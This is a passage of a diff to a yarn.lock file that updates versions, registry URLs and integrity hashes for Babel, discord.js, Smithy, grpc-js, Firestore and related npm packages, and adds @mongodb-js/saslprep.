-  integrity sha512-s5XwpQYCqGerXl+Pu6VDL3x0j2d82eiV77UJ8a2mDHAW7j9SWRqQ2y1fNo1Z74CdcYipl5Z41zvjj4Nfzq36rw==
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.27.1.tgz#1023bc94b78b0a2d68c82b5e96aed573bcfb9db0"
+  integrity sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.25.9"
-    "@babel/helper-module-imports" "^7.25.9"
-    "@babel/helper-plugin-utils" "^7.25.9"
-    "@babel/plugin-syntax-jsx" "^7.25.9"
-    "@babel/types" "^7.25.9"
+    "@babel/helper-annotate-as-pure" "^7.27.1"
+    "@babel/helper-module-imports" "^7.27.1"
+    "@babel/helper-plugin-utils" "^7.27.1"
+    "@babel/plugin-syntax-jsx" "^7.27.1"
+    "@babel/types" "^7.27.1"
 
-"@babel/register@^7.25.9":
-  version "7.25.9"
-  resolved "https://registry.yarnpkg.com/@babel/register/-/register-7.25.9.tgz#1c465acf7dc983d70ccc318eb5b887ecb04f021b"
-  integrity sha512-8D43jXtGsYmEeDvm4MWHYUpWf8iiXgWYx3fW7E7Wb7Oe6FWqJPl5K6TuFW0dOwNZzEE5rjlaSJYH9JjrUKJszA==
+"@babel/register@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/register/-/register-7.27.1.tgz#ea4d701649d788d7cb8a064b7540fd21083147f1"
+  integrity sha512-K13lQpoV54LATKkzBpBAEu1GGSIRzxR9f4IN4V8DCDgiUMo2UDGagEZr3lPeVNJPLkWUi5JE4hCHKneVTwQlYQ==
   dependencies:
     clone-deep "^4.0.1"
     find-cache-dir "^2.0.0"
@@ -621,35 +622,35 @@
     pirates "^4.0.6"
     source-map-support "^0.5.16"
 
-"@babel/template@^7.26.9", "@babel/template@^7.27.0", "@babel/template@^7.4.0":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.27.0.tgz#b253e5406cc1df1c57dcd18f11760c2dbf40c0b4"
-  integrity sha512-2ncevenBqXI6qRMukPlXwHKHchC7RyMuu4xv5JBXRfOGVcTy1mXCD12qrp7Jsoxll1EV3+9sE4GugBVRjT2jFA==
+"@babel/template@^7.27.2", "@babel/template@^7.4.0":
+  version "7.27.2"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.27.2.tgz#fa78ceed3c4e7b63ebf6cb39e5852fca45f6809d"
+  integrity sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==
   dependencies:
-    "@babel/code-frame" "^7.26.2"
-    "@babel/parser" "^7.27.0"
-    "@babel/types" "^7.27.0"
+    "@babel/code-frame" "^7.27.1"
+    "@babel/parser" "^7.27.2"
+    "@babel/types" "^7.27.1"
 
-"@babel/traverse@^7.25.9", "@babel/traverse@^7.26.10", "@babel/traverse@^7.4.3":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.27.0.tgz#11d7e644779e166c0442f9a07274d02cd91d4a70"
-  integrity sha512-19lYZFzYVQkkHkl4Cy4WrAVcqBkgvV2YM2TU3xG6DIwO7O3ecbDPfW3yM3bjAGcqcQHi+CCtjMR3dIEHxsd6bA==
+"@babel/traverse@^7.27.1", "@babel/traverse@^7.27.3", "@babel/traverse@^7.4.3":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.27.3.tgz#8b62a6c2d10f9d921ba7339c90074708509cffae"
+  integrity sha512-lId/IfN/Ye1CIu8xG7oKBHXd2iNb2aW1ilPszzGcJug6M8RCKfVNcYhpI5+bMvFYjK7lXIM0R+a+6r8xhHp2FQ==
   dependencies:
-    "@babel/code-frame" "^7.26.2"
-    "@babel/generator" "^7.27.0"
-    "@babel/parser" "^7.27.0"
-    "@babel/template" "^7.27.0"
-    "@babel/types" "^7.27.0"
+    "@babel/code-frame" "^7.27.1"
+    "@babel/generator" "^7.27.3"
+    "@babel/parser" "^7.27.3"
+    "@babel/template" "^7.27.2"
+    "@babel/types" "^7.27.3"
     debug "^4.3.1"
     globals "^11.1.0"
 
-"@babel/types@^7.25.9", "@babel/types@^7.26.10", "@babel/types@^7.27.0", "@babel/types@^7.4.0":
-  version "7.27.0"
-  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.27.0.tgz#ef9acb6b06c3173f6632d993ecb6d4ae470b4559"
-  integrity sha512-H45s8fVLYjbhFH62dIJ3WtmJ6RSPt/3DRO0ZcT2SUiYiQyz3BLVb9ADEnLl91m74aQPS3AzzeajZHYOalWe3bg==
+"@babel/types@^7.27.1", "@babel/types@^7.27.3", "@babel/types@^7.4.0":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.27.3.tgz#c0257bedf33aad6aad1f406d35c44758321eb3ec"
+  integrity sha512-Y1GkI4ktrtvmawoSq+4FCVHNryea6uR+qUQy0AGxLSsjCX0nVmkYQMBLHDkXZuo5hGx7eYdnIaslsdBFm7zbUw==
   dependencies:
-    "@babel/helper-string-parser" "^7.25.9"
-    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/helper-string-parser" "^7.27.1"
+    "@babel/helper-validator-identifier" "^7.27.1"
 
 "@colors/colors@1.6.0", "@colors/colors@^1.6.0":
   version "1.6.0"
@@ -682,14 +683,14 @@
     kuler "^2.0.0"
 
 "@discordjs/builders@^1.3.0":
-  version "1.10.1"
-  resolved "https://registry.yarnpkg.com/@discordjs/builders/-/builders-1.10.1.tgz#f30b5d74f8ebaae47c7c70eaf0f8df45eadf9f47"
-  integrity sha512-OWo1fY4ztL1/M/DUyRPShB4d/EzVfuUvPTRRHRIt/YxBrUYSz0a+JicD5F5zHFoNs2oTuWavxCOVFV1UljHTng==
+  version "1.11.2"
+  resolved "https://registry.yarnpkg.com/@discordjs/builders/-/builders-1.11.2.tgz#b96185d05d22f9d6bde89aada2decf45a5c982ce"
+  integrity sha512-F1WTABdd8/R9D1icJzajC4IuLyyS8f3rTOz66JsSI3pKvpCAtsMBweu8cyNYsIyvcrKAVn9EPK+Psoymq+XC0A==
   dependencies:
-    "@discordjs/formatters" "^0.6.0"
+    "@discordjs/formatters" "^0.6.1"
     "@discordjs/util" "^1.1.1"
     "@sapphire/shapeshift" "^4.0.0"
-    discord-api-types "^0.37.119"
+    discord-api-types "^0.38.1"
     fast-deep-equal "^3.1.3"
     ts-mixer "^6.0.4"
     tslib "^2.6.3"
@@ -699,12 +700,12 @@
   resolved "https://registry.yarnpkg.com/@discordjs/collection/-/collection-1.5.3.tgz#5a1250159ebfff9efa4f963cfa7e97f1b291be18"
   integrity sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==
 
-"@discordjs/formatters@^0.6.0":
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/@discordjs/formatters/-/formatters-0.6.0.tgz#9a4ca075ab16a4823da9258bc5c39f06a2519235"
-  integrity sha512-YIruKw4UILt/ivO4uISmrGq2GdMY6EkoTtD0oS0GvkJFRZbTSdPhzYiUILbJ/QslsvC9H9nTgGgnarnIl4jMfw==
+"@discordjs/formatters@^0.6.1":
+  version "0.6.1"
+  resolved "https://registry.yarnpkg.com/@discordjs/formatters/-/formatters-0.6.1.tgz#211bf3eb060d8fe7fa1f020b8be3c4adad00555a"
+  integrity sha512-5cnX+tASiPCqCWtFcFslxBVUaCetB0thvM/JyavhbXInP1HJIEU+Qv/zMrnuwSsX3yWH2lVXNJZeDK3EiP4HHg==
   dependencies:
-    discord-api-types "^0.37.114"
+    discord-api-types "^0.38.1"
 
 "@discordjs/rest@^1.3.0":
   version "1.7.1"
@@ -736,9 +737,9 @@
   integrity sha512-eddz6UnOBEB1oITPinyrB2Pttej49M9FZQY8NxgEvc3tq6ZICZ19m70RsmzRdDHk80O9NoYN/25AqJl8vPVf/g==
 
 "@duosecurity/duo_universal@*":
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/@duosecurity/duo_universal/-/duo_universal-2.0.3.tgz#0da272976b807d4e1d0f147ae3eb081b0cf83fff"
-  integrity sha512-PboNVOzDABhPQcNimCHmHeod9XHz+YADUfBv7xSWhftwIZDidWoVpydbQLosom0V9dj3vlvMbSukXtfwK/brTQ==
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/@duosecurity/duo_universal/-/duo_universal-2.1.0.tgz#05312e7bf7557625145e7e243a7ece2385853dcf"
+  integrity sha512-6i+oSezndETL5nwaZbe8OVXA8GTalI0KmY4hc060iTaGpkj5/WY1OWC1W9lWDg0dWpYohsTwZy1dBQOs+vUc7g==
   dependencies:
     axios "^1.2.2"
     jsonwebtoken "^9.0.0"
@@ -829,9 +830,9 @@
   integrity sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==
 
 "@google-cloud/firestore@^7.7.0":
-  version "7.11.0"
-  resolved "https://registry.yarnpkg.com/@google-cloud/firestore/-/firestore-7.11.0.tgz#a8a2b61d5069ba23ff2a1b98eac78d15a904a40f"
-  integrity sha512-88uZ+jLsp1aVMj7gh3EKYH1aulTAMFAp8sH/v5a9w8q8iqSG27RiWLoxSAFr/XocZ9hGiWH1kEnBw+zl3xAgNA==
+  version "7.11.1"
+  resolved "https://registry.yarnpkg.com/@google-cloud/firestore/-/firestore-7.11.1.tgz#fbdb99f1e263889fc1c259986238404e7a480136"
+  integrity sha512-ZxOdH8Wr01hBDvKCQfMWqwUcfNcN3JY19k1LtS1fTFhEyorYPLsbWN+VxIRL46pOYGHTPkU3Or5HbT/SLQM5nA==
   dependencies:
     "@opentelemetry/api" "^1.3.0"
     fast-deep-equal "^3.1.1"
@@ -879,9 +880,9 @@
     uuid "^8.0.0"
 
 "@grpc/grpc-js@^1.10.9":
-  version "1.13.3"
-  resolved "https://registry.yarnpkg.com/@grpc/grpc-js/-/grpc-js-1.13.3.tgz#6ad08d186c2a8651697085f790c5c68eaca45904"
-  integrity sha512-FTXHdOoPbZrBjlVLHuKbDZnsTxXv2BlHF57xw6LuThXacXvtkahEPED0CKMk6obZDf65Hv4k3z62eyPNpvinIg==
+  version "1.13.4"
+  resolved "https://registry.yarnpkg.com/@grpc/grpc-js/-/grpc-js-1.13.4.tgz#922fbc496e229c5fa66802d2369bf181c1df1c5a"
+  integrity sha512-GsFaMXCkMqkKIvwCQjCrwH+GHbPKBjhwo/8ZuUkWHqbI73Kky9I+pQltrlT0+MWpedCoosda53lgjYfyEPgxBg==
   dependencies:
     "@grpc/proto-loader" "^0.7.13"
     "@js-sdsl/ordered-map" "^4.4.2"
@@ -957,6 +958,13 @@
   resolved "https://registry.yarnpkg.com/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz#9299f82874bab9e4c7f9c48d865becbfe8d6907c"
   integrity sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==
 
+"@mongodb-js/saslprep@^1.1.0":
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/@mongodb-js/saslprep/-/saslprep-1.2.2.tgz#09506f29cc2a99d9d7b951caa7fffc87e522a6d3"
+  integrity sha512-EB0O3SCSNRUFk66iRCpI+cXzIjdswfCs7F6nOC3RAGJ7xr5YhaicvsRwJ9eyzYvYRlCSDUO/c7g4yNulxKC1WA==
+  dependencies:
+    sparse-bitfield "^3.0.3"
+
 "@mysql/xdevapi@8.0.33":
   version "8.0.33"
   resolved "https://registry.yarnpkg.com/@mysql/xdevapi/-/xdevapi-8.0.33.tgz#966f71563a2e2a27cb5279fdf72fa9ee41538ec2"
@@ -1186,77 +1194,77 @@
   resolved "https://registry.yarnpkg.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz#cff8ffadc372ad29fd3f78277aeb29e632cc70df"
   integrity sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==
 
-"@smithy/abort-controller@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/abort-controller/-/abort-controller-4.0.2.tgz#36a23e8cc65fc03cacb6afa35dfbfd319c560c6b"
-  integrity sha512-Sl/78VDtgqKxN2+1qduaVE140XF+Xg+TafkncspwM4jFP/LHr76ZHmIY/y3V1M0mMLNk+Je6IGbzxy23RSToMw==
+"@smithy/abort-controller@^4.0.3":
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/abort-controller/-/abort-controller-4.0.3.tgz#53a53dabc5a46fec70857acb07653d658c79b916"
+  integrity sha512-AqXFf6DXnuRBXy4SoK/n1mfgHaKaq36bmkphmD1KO0nHq6xK/g9KHSW4HEsPQUBCGdIEfuJifGHwxFXPIFay9Q==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/config-resolver@^4.1.0":
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/@smithy/config-resolver/-/config-resolver-4.1.0.tgz#de1043cbd75f05d99798b0fbcfdaf4b89b0f2f41"
-  integrity sha512-8smPlwhga22pwl23fM5ew4T9vfLUCeFXlcqNOCD5M5h8VmNPNUE9j6bQSuRXpDSV11L/E/SwEBQuW8hr6+nS1A==
+"@smithy/config-resolver@^4.1.2", "@smithy/config-resolver@^4.1.3":
+  version "4.1.3"
+  resolved "https://registry.yarnpkg.com/@smithy/config-resolver/-/config-resolver-4.1.3.tgz#d883b2edaa05594cb7f002b2e1d4c5b495c1be42"
+  integrity sha512-N5e7ofiyYDmHxnPnqF8L4KtsbSDwyxFRfDK9bp1d9OyPO4ytRLd0/XxCqi5xVaaqB65v4woW8uey6jND6zxzxQ==
   dependencies:
-    "@smithy/node-config-provider" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@smithy/node-config-provider" "^4.1.2"
+    "@smithy/types" "^4.3.0"
     "@smithy/util-config-provider" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.2"
+    "@smithy/util-middleware" "^4.0.3"
     tslib "^2.6.2"
 
-"@smithy/core@^3.2.0":
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.2.0.tgz#613b15f76eab9a6be396b1d5453b6bc8f22ba99c"
-  integrity sha512-k17bgQhVZ7YmUvA8at4af1TDpl0NDMBuBKJl8Yg0nrefwmValU+CnA5l/AriVdQNthU/33H3nK71HrLgqOPr1Q==
+"@smithy/core@^3.3.3", "@smithy/core@^3.4.0":
+  version "3.4.0"
+  resolved "https://registry.yarnpkg.com/@smithy/core/-/core-3.4.0.tgz#e8f4c93d138e68bfc76d43a63429b2b276987d19"
+  integrity sha512-dDYISQo7k0Ml/rXlFIjkTmTcQze/LxhtIRAEmZ6HJ/EI0inVxVEVnrUXJ7jPx6ZP0GHUhFm40iQcCgS5apXIXA==
   dependencies:
-    "@smithy/middleware-serde" "^4.0.3"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/types" "^4.2.0"
+    "@smithy/middleware-serde" "^4.0.6"
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/types" "^4.3.0"
     "@smithy/util-body-length-browser" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-stream" "^4.2.0"
+    "@smithy/util-middleware" "^4.0.3"
+    "@smithy/util-stream" "^4.2.1"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/credential-provider-imds@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/credential-provider-imds/-/credential-provider-imds-4.0.2.tgz#1ec34a04842fa69996b151a695b027f0486c69a8"
-  integrity sha512-32lVig6jCaWBHnY+OEQ6e6Vnt5vDHaLiydGrwYMW9tPqO688hPGTYRamYJ1EptxEC2rAwJrHWmPoKRBl4iTa8w==
+"@smithy/credential-provider-imds@^4.0.4", "@smithy/credential-provider-imds@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/credential-provider-imds/-/credential-provider-imds-4.0.5.tgz#d44989d783300af37b2be2fc4ec29cdb67540c32"
+  integrity sha512-saEAGwrIlkb9XxX/m5S5hOtzjoJPEK6Qw2f9pYTbIsMPOFyGSXBBTw95WbOyru8A1vIS2jVCCU1Qhz50QWG3IA==
   dependencies:
-    "@smithy/node-config-provider" "^4.0.2"
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/types" "^4.2.0"
-    "@smithy/url-parser" "^4.0.2"
+    "@smithy/node-config-provider" "^4.1.2"
+    "@smithy/property-provider" "^4.0.3"
+    "@smithy/types" "^4.3.0"
+    "@smithy/url-parser" "^4.0.3"
     tslib "^2.6.2"
 
-"@smithy/fetch-http-handler@^5.0.2":
-  version "5.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.0.2.tgz#9d3cacf044aa9573ab933f445ab95cddb284813d"
-  integrity sha512-+9Dz8sakS9pe7f2cBocpJXdeVjMopUDLgZs1yWeu7h++WqSbjUYv/JAJwKwXw1HV6gq1jyWjxuyn24E2GhoEcQ==
+"@smithy/fetch-http-handler@^5.0.2", "@smithy/fetch-http-handler@^5.0.3":
+  version "5.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/fetch-http-handler/-/fetch-http-handler-5.0.3.tgz#4db3296bbacd6ddfdc9f8b8b2a6fb52d201dace3"
+  integrity sha512-yBZwavI31roqTndNI7ONHqesfH01JmjJK6L3uUpZAhyAmr86LN5QiPzfyZGIxQmed8VEK2NRSQT3/JX5V1njfQ==
   dependencies:
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/querystring-builder" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/querystring-builder" "^4.0.3"
+    "@smithy/types" "^4.3.0"
     "@smithy/util-base64" "^4.0.0"
     tslib "^2.6.2"
 
 "@smithy/hash-node@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/hash-node/-/hash-node-4.0.2.tgz#a34fe5a33b067d754ca63302b9791778f003e437"
-  integrity sha512-VnTpYPnRUE7yVhWozFdlxcYknv9UN7CeOqSrMH+V877v4oqtVYuoqhIhtSjmGPvYrYnAkaM61sLMKHvxL138yg==
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/hash-node/-/hash-node-4.0.3.tgz#262367c0cb80f9975bdb96e945067dd1f04cdef2"
+  integrity sha512-W5Uhy6v/aYrgtjh9y0YP332gIQcwccQ+EcfWhllL0B9rPae42JngTTUpb8W6wuxaNFzqps4xq5klHckSSOy5fw==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     "@smithy/util-buffer-from" "^4.0.0"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
 "@smithy/invalid-dependency@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/invalid-dependency/-/invalid-dependency-4.0.2.tgz#e9b1c5e407d795f10a03afba90e37bccdc3e38f7"
-  integrity sha512-GatB4+2DTpgWPday+mnUkoumP54u/MDM/5u44KF9hIu8jF0uafZtQLcdfIKkIcUNuF/fBojpLEHZS/56JqPeXQ==
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/invalid-dependency/-/invalid-dependency-4.0.3.tgz#045edee05cc380c06ffdf8cc1a81d54005c1e134"
+  integrity sha512-1Bo8Ur1ZGqxvwTqBmv6DZEn0rXtwJGeqiiO2/JFcCtz3nBakOqeXbJBElXJMMzd0ghe8+eB6Dkw98nMYctgizg==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
 "@smithy/is-array-buffer@^2.2.0":
@@ -1274,169 +1282,170 @@
     tslib "^2.6.2"
 
 "@smithy/middleware-content-length@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-content-length/-/middleware-content-length-4.0.2.tgz#ff78658e8047ad7038f58478cf8713ee2f6ef647"
-  integrity sha512-hAfEXm1zU+ELvucxqQ7I8SszwQ4znWMbNv6PLMndN83JJN41EPuS93AIyh2N+gJ6x8QFhzSO6b7q2e6oClDI8A==
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-content-length/-/middleware-content-length-4.0.3.tgz#6ca78cda6569e9c0a2b4f788729f874a461b8554"
+  integrity sha512-NE/Zph4BP5u16bzYq2csq9qD0T6UBLeg4AuNrwNJ7Gv9uLYaGEgelZUOdRndGdMGcUfSGvNlXGb2aA2hPCwJ6g==
   dependencies:
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/types" "^4.2.0"
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/middleware-endpoint@^4.1.0":
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.0.tgz#cbfe47c5632942c960dbcf71fb02fd0d9985444d"
-  integrity sha512-xhLimgNCbCzsUppRTGXWkZywksuTThxaIB0HwbpsVLY5sceac4e1TZ/WKYqufQLaUy+gUSJGNdwD2jo3cXL0iA==
+"@smithy/middleware-endpoint@^4.1.6", "@smithy/middleware-endpoint@^4.1.7":
+  version "4.1.7"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.7.tgz#7b15fc81171dc879c9d9c8f5297d4939d0f6a234"
+  integrity sha512-KDzM7Iajo6K7eIWNNtukykRT4eWwlHjCEsULZUaSfi/SRSBK8BPRqG5FsVfp58lUxcvre8GT8AIPIqndA0ERKw==
   dependencies:
-    "@smithy/core" "^3.2.0"
-    "@smithy/middleware-serde" "^4.0.3"
-    "@smithy/node-config-provider" "^4.0.2"
-    "@smithy/shared-ini-file-loader" "^4.0.2"
-    "@smithy/types" "^4.2.0"
-    "@smithy/url-parser" "^4.0.2"
-    "@smithy/util-middleware" "^4.0.2"
+    "@smithy/core" "^3.4.0"
+    "@smithy/middleware-serde" "^4.0.6"
+    "@smithy/node-config-provider" "^4.1.2"
+    "@smithy/shared-ini-file-loader" "^4.0.3"
+    "@smithy/types" "^4.3.0"
+    "@smithy/url-parser" "^4.0.3"
+    "@smithy/util-middleware" "^4.0.3"
     tslib "^2.6.2"
 
-"@smithy/middleware-retry@^4.1.0":
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.0.tgz#338ac1e025bbc6fd7b008152c4efa8bc0591acc9"
-  integrity sha512-2zAagd1s6hAaI/ap6SXi5T3dDwBOczOMCSkkYzktqN1+tzbk1GAsHNAdo/1uzxz3Ky02jvZQwbi/vmDA6z4Oyg==
+"@smithy/middleware-retry@^4.1.7":
+  version "4.1.8"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.8.tgz#1b6123ef5ad4ea9e55d6e4a0d1912c238d019e05"
+  integrity sha512-e2OtQgFzzlSG0uCjcJmi02QuFSRTrpT11Eh2EcqqDFy7DYriteHZJkkf+4AsxsrGDugAtPFcWBz1aq06sSX5fQ==
   dependencies:
-    "@smithy/node-config-provider" "^4.0.2"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/service-error-classification" "^4.0.2"
-    "@smithy/smithy-client" "^4.2.0"
-    "@smithy/types" "^4.2.0"
-    "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-retry" "^4.0.2"
+    "@smithy/node-config-provider" "^4.1.2"
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/service-error-classification" "^4.0.4"
+    "@smithy/smithy-client" "^4.3.0"
+    "@smithy/types" "^4.3.0"
+    "@smithy/util-middleware" "^4.0.3"
+    "@smithy/util-retry" "^4.0.4"
     tslib "^2.6.2"
     uuid "^9.0.1"
 
-"@smithy/middleware-serde@^4.0.3":
+"@smithy/middleware-serde@^4.0.5", "@smithy/middleware-serde@^4.0.6":
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-serde/-/middleware-serde-4.0.6.tgz#76e8523b48f2402ccef97b6764d9cfe35e7df669"
+  integrity sha512-YECyl7uNII+jCr/9qEmCu8xYL79cU0fqjo0qxpcVIU18dAPHam/iYwcknAu4Jiyw1uN+sAx7/SMf/Kmef/Jjsg==
+  dependencies:
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/types" "^4.3.0"
+    tslib "^2.6.2"
+
+"@smithy/middleware-stack@^4.0.2", "@smithy/middleware-stack@^4.0.3":
   version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-serde/-/middleware-serde-4.0.3.tgz#b90ef1065ad9dc0b54c561fae73c8a5792d145e3"
-  integrity sha512-rfgDVrgLEVMmMn0BI8O+8OVr6vXzjV7HZj57l0QxslhzbvVfikZbVfBVthjLHqib4BW44QhcIgJpvebHlRaC9A==
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-stack/-/middleware-stack-4.0.3.tgz#4231f41e05f63d088644bc829b182850f5a9ee59"
+  integrity sha512-baeV7t4jQfQtFxBADFmnhmqBmqR38dNU5cvEgHcMK/Kp3D3bEI0CouoX2Sr/rGuntR+Eg0IjXdxnGGTc6SbIkw==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/middleware-stack@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-stack/-/middleware-stack-4.0.2.tgz#ca7bc3eedc7c1349e2cf94e0dc92a68d681bef18"
-  integrity sha512-eSPVcuJJGVYrFYu2hEq8g8WWdJav3sdrI4o2c6z/rjnYDd3xH9j9E7deZQCzFn4QvGPouLngH3dQ+QVTxv5bOQ==
+"@smithy/node-config-provider@^4.1.1", "@smithy/node-config-provider@^4.1.2":
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/@smithy/node-config-provider/-/node-config-provider-4.1.2.tgz#6397998db6741ada1f9ee1bf6665190b02d68084"
+  integrity sha512-SUvNup8iU1v7fmM8XPk+27m36udmGCfSz+VZP5Gb0aJ3Ne0X28K/25gnsrg3X1rWlhcnhzNUUysKW/Ied46ivQ==
   dependencies:
-    "@smithy/types" "^4.2.0"
+    "@smithy/property-provider" "^4.0.3"
+    "@smithy/shared-ini-file-loader" "^4.0.3"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/node-config-provider@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/node-config-provider/-/node-config-provider-4.0.2.tgz#017ba626828bced0fa588e795246e5468632f3ef"
-  integrity sha512-WgCkILRZfJwJ4Da92a6t3ozN/zcvYyJGUTmfGbgS/FkCcoCjl7G4FJaCDN1ySdvLvemnQeo25FdkyMSTSwulsw==
+"@smithy/node-http-handler@^4.0.4", "@smithy/node-http-handler@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.0.5.tgz#7d825f35d8e006a2662b7237eb7d369430883140"
+  integrity sha512-T7QglZC1vS7SPT44/1qSIAQEx5bFKb3LfO6zw/o4Xzt1eC5HNoH1TkS4lMYA9cWFbacUhx4hRl/blLun4EOCkg==
   dependencies:
-    "@smithy/property-provider" "^4.0.2"
-    "@smithy/shared-ini-file-loader" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@smithy/abort-controller" "^4.0.3"
+    "@smithy/protocol-http" "^5.1.1"
+    "@smithy/querystring-builder" "^4.0.3"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/node-http-handler@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.0.4.tgz#aa583d201c1ee968170b65a07f06d633c214b7a1"
-  integrity sha512-/mdqabuAT3o/ihBGjL94PUbTSPSRJ0eeVTdgADzow0wRJ0rN4A27EOrtlK56MYiO1fDvlO3jVTCxQtQmK9dZ1g==
+"@smithy/property-provider@^4.0.2", "@smithy/property-provider@^4.0.3":
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/@smithy/property-provider/-/property-provider-4.0.3.tgz#cefeb7bc7a8baaeec9f68e82c3164141703a15d5"
+  integrity sha512-Wcn17QNdawJZcZZPBuMuzyBENVi1AXl4TdE0jvzo4vWX2x5df/oMlmr/9M5XAAC6+yae4kWZlOYIsNsgDrMU9A==
   dependencies:
-    "@smithy/abort-controller" "^4.0.2"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/querystring-builder" "^4.0.2"
-    "@smithy/types" "^4.2.0"
+    "@smithy/types" "^4.3.0"
     tslib "^2.6.2"
 
-"@smithy/property-provider@^4.0.2":
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@smithy/property-provider/-/property-provider-4.0.2.tgz#4572c10415c9d4215f3df1530ba61b0319b17b55"
